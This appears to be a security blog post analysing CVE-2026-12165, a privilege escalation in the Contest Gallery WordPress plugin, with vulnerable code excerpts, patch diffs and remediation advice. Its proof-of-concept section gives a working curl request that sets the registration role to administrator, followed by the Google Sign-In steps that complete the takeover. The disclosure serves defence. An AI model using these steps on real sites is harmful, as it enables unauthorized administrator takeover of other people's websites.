Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe WordPress plugin banner

CVE-2026-12165: Contest Gallery Author+ Privilege Escalation (CVSS 8.8)

Updated 7 min read

CVE-2026-12165 is a CVSS 8.8 (High) Authenticated Privilege Escalation vulnerability in the Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe WordPress plugin. An attacker with Author-level access can overwrite a stored role option and cause newly registered Google Sign-In accounts to receive Administrator privileges.

Vulnerability Summary

FieldValue
Plugin NameContest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe
Plugin Slugcontest-gallery
CVE IDCVE-2026-12165
CVSS Score8.8 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeImproper Privilege Management
Affected Versions<= 30.0.2
Patched Version30.0.3
PublishedJune 16, 2026
ResearcherChloe Chamberland - Wordfence
Wordfence AdvisoryLink

Description

The Contest Gallery plugin lets users run photo contests with optional Google Sign-In registration. When a visitor registers through Google, the plugin reads a stored option called RegistryUserRole and passes it directly to WordPress’s wp_update_user() function, setting the new account’s role.

In versions up to 30.0.2, the option-saving handler had no capability check. Any Author-level user could submit a crafted POST request and change RegistryUserRole to administrator. The next Google Sign-In registration would then receive Administrator access.

Technical Analysis

Root Cause: Admin Menu Registered at edit_posts

The plugin’s admin menu is registered with the edit_posts capability:

// index.php, L407
add_menu_page(
    'Contest Gallery',
    'Contest Gallery',
    'edit_posts',     // Author, Editor, and Administrator all have this
    __FILE__,
    'contest_gallery_action',
    'none'
);

WordPress grants edit_posts to Contributors, Authors, Editors, and Administrators. Because of this, any Author-level user can visit the plugin’s admin options page and see all its settings forms — including a valid cg_admin nonce embedded in every form via wp_nonce_field('cg_admin').

Missing Capability Check in the Save Handler

When a user saves options, the plugin includes change-options-and-sizes.php via this condition in v10/include-conditions-v10.php:

if (!empty($_POST['changeSize'])) {
    require_once('v10-admin/options/change-options-and-sizes.php');
}

The first line of change-options-and-sizes.php is the only security check:

// v10/v10-admin/options/change-options-and-sizes.php, L16
check_admin_referer('cg_admin');

This is a nonce check. It confirms the request came from someone who loaded an admin page. It does NOT confirm the user has the right to change these settings. There is no current_user_can() call anywhere in the file.

Because any Author can load the options form and get a valid cg_admin nonce, this check is trivially satisfied.

Unrestricted RegistryUserRole Write

After passing the nonce check, the handler reads the RegistryUserRole POST parameter with no allowlist validation:

// v10/v10-admin/options/change-options-and-sizes.php, L1239-1240
$RegistryUserRoleForRegistryAndLoginOptions = sanitize_text_field(
    htmlentities((isset($_POST['RegistryUserRole'])) ? $_POST['RegistryUserRole'] : '')
);

sanitize_text_field() and htmlentities() only strip HTML and extra whitespace. They do not restrict the value to valid role names. An attacker can pass administrator and it goes straight through.

This value is then saved to the contest_gal1ery_registry_and_login_options database table via cg_update_registry_and_login_options_v14().

Role Consumed Without Validation on Google Sign-In

When a visitor registers through Google Sign-In, cg_create_wp_user_from_google_user reads the stored role directly from the database:

// functions/google/cg-create-wp-user-from-google-user.php, L103
$RegistryUserRole = $wpdb->get_var(
    "SELECT RegistryUserRole FROM $tablename_registry_and_login_options WHERE GeneralID = 1"
);

There is no allowlist check on this value. It is passed directly to wp_update_user():

// functions/google/cg-create-wp-user-from-google-user.php, L169
wp_update_user( array( 'ID' => $WpUserId, 'role' => $RegistryUserRole ) );

WordPress applies whatever role string is given. If it is administrator, the new account becomes an Administrator.

Full Attack Chain

Author logs into /wp-admin
  → loads options page (accessible via edit_posts)
  → obtains valid cg_admin nonce from page HTML
  → sends POST with changeSize=1, RegistryUserRole=administrator
  → no current_user_can() check → value saved to DB
Attacker creates a Google account
  → registers via Google Sign-In on the plugin's frontend form
  → cg_create_wp_user_from_google_user reads RegistryUserRole = "administrator"
  → wp_update_user() promotes new account to Administrator
  → attacker has full site control

Proof of Concept

Disclaimer: This PoC is for authorized testing and educational purposes only. Do not use it on systems you do not own or have explicit permission to test.

Prerequisites:

  • Contest Gallery <= 30.0.2 installed and activated
  • Google Sign-In feature enabled in the plugin settings
  • A WordPress user account with Author role (or above)
  • A Google account for the final registration step

Step 1 — Obtain the nonce as an Author

Log in as an Author-level user and visit the plugin options page. The gallery option ID may vary; use option_id=1 for the first gallery.

GET /wp-admin/admin.php?page=contest-gallery%2Findex.php&edit_options=1&option_id=1

Find the _wpnonce value in the page source (inside a hidden input named _wpnonce associated with the cg_admin action).

Step 2 — Overwrite RegistryUserRole with administrator

Replace <YOUR_NONCE>, <COOKIE>, and <SITE_URL> with real values:

curl -s -X POST "<SITE_URL>/wp-admin/admin.php?page=contest-gallery%2Findex.php&edit_options=1&option_id=1" \
  -H "Cookie: <COOKIE>" \
  -d "changeSize=1&option_id=1&_wpnonce=<YOUR_NONCE>&_wp_http_referer=%2Fwp-admin%2Fadmin.php&RegistryUserRole=administrator"

A 200 response with the page HTML means the option was saved.

Step 3 — Verify the database change (optional)

SELECT RegistryUserRole FROM wp_contest_gal1ery_registry_and_login_options WHERE GeneralID = 1;
-- Expected result: administrator

Step 4 — Register via Google Sign-In

Visit the page where the Contest Gallery Google Sign-In shortcode is embedded and complete registration with a Google account. The plugin reads RegistryUserRole = administrator and calls:

wp_update_user( array( 'ID' => $new_user_id, 'role' => 'administrator' ) );

Step 5 — Verify privilege escalation

Log in with the newly registered Google account. Navigate to /wp-admin/. Full Administrator access is confirmed.

Patch Analysis

Version 30.0.3 introduced three fixes.

Fix 1 — Capability check added at the top of the save handler:

// v10/v10-admin/options/change-options-and-sizes.php
+if (!is_user_logged_in() || !current_user_can('publish_posts') || !cg_user_has_backend_access()) {
+    cg_die_missing_backend_access();
+}
+
 check_admin_referer('cg_admin');

Only Administrators, Editors, and Authors pass cg_user_has_backend_access(). The check stops Contributors and unauthenticated requests before any data is read.

Fix 2 — RegistryUserRole changes now require manage_options:

+if (current_user_can('manage_options')) {
+    $postedRegistryUserRole = (isset($_POST['RegistryUserRole'])) ? $_POST['RegistryUserRole'] : $currentRegistryUserRole;
+    $safeRegistryUserRole = cg_get_safe_registry_user_role($postedRegistryUserRole, $dbVersion);
+} else {
+    $safeRegistryUserRole = $currentRegistryUserRole; // Authors cannot change this
+}
-$RegistryUserRoleForRegistryAndLoginOptions = sanitize_text_field(htmlentities($_POST['RegistryUserRole'] ?? ''));
+$RegistryUserRoleForRegistryAndLoginOptions = $safeRegistryUserRole;

Only Administrators (who have manage_options) can change the role. Authors are silently kept on the current value.

Fix 3 — Role allowlist enforced at the point of use:

The new cg_get_safe_registry_user_role() function validates against an explicit allowlist — subscriber, contest_gallery_user_since_v14, and empty string — before any role is applied:

function cg_get_allowed_registry_user_roles($galleryDbVersion = 14, $allowEmpty = true) {
    $roles = ['subscriber' => true];
    if ($allowEmpty) { $roles[''] = true; }
    if (intval($galleryDbVersion) >= 14) {
        $roles['contest_gallery_user_since_v14'] = true;
    } else {
        $roles['contest_gallery_user'] = true;
    }
    return $roles;
}

administrator is not on the list. Even if an attacker managed to write it, the Google registration handler now runs the value through this allowlist before calling wp_update_user().

Timeline

DateEvent
June 16, 2026Vulnerability publicly disclosed by Wordfence
June 16, 2026Version 30.0.3 released with the fix
June 17, 2026This blog post published

Remediation

Update the Contest Gallery plugin to version 30.0.3 or later immediately. No configuration change can mitigate this vulnerability in earlier versions — the option-saving handler has no access control at all.

If you cannot update right away, consider temporarily disabling the Google Sign-In feature to block the escalation path.

References

  1. Wordfence Advisory — CVE-2026-12165
  2. CVE Record — CVE-2026-12165
  3. Vulnerable: change-options-and-sizes.php L1242
  4. Vulnerable: cg-create-wp-user-from-google-user.php L169
  5. Vulnerable: change-options-and-sizes.php L16 (nonce-only check)
  6. Vulnerable: index.php L407 (edit_posts menu registration)
  7. Patch changeset
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee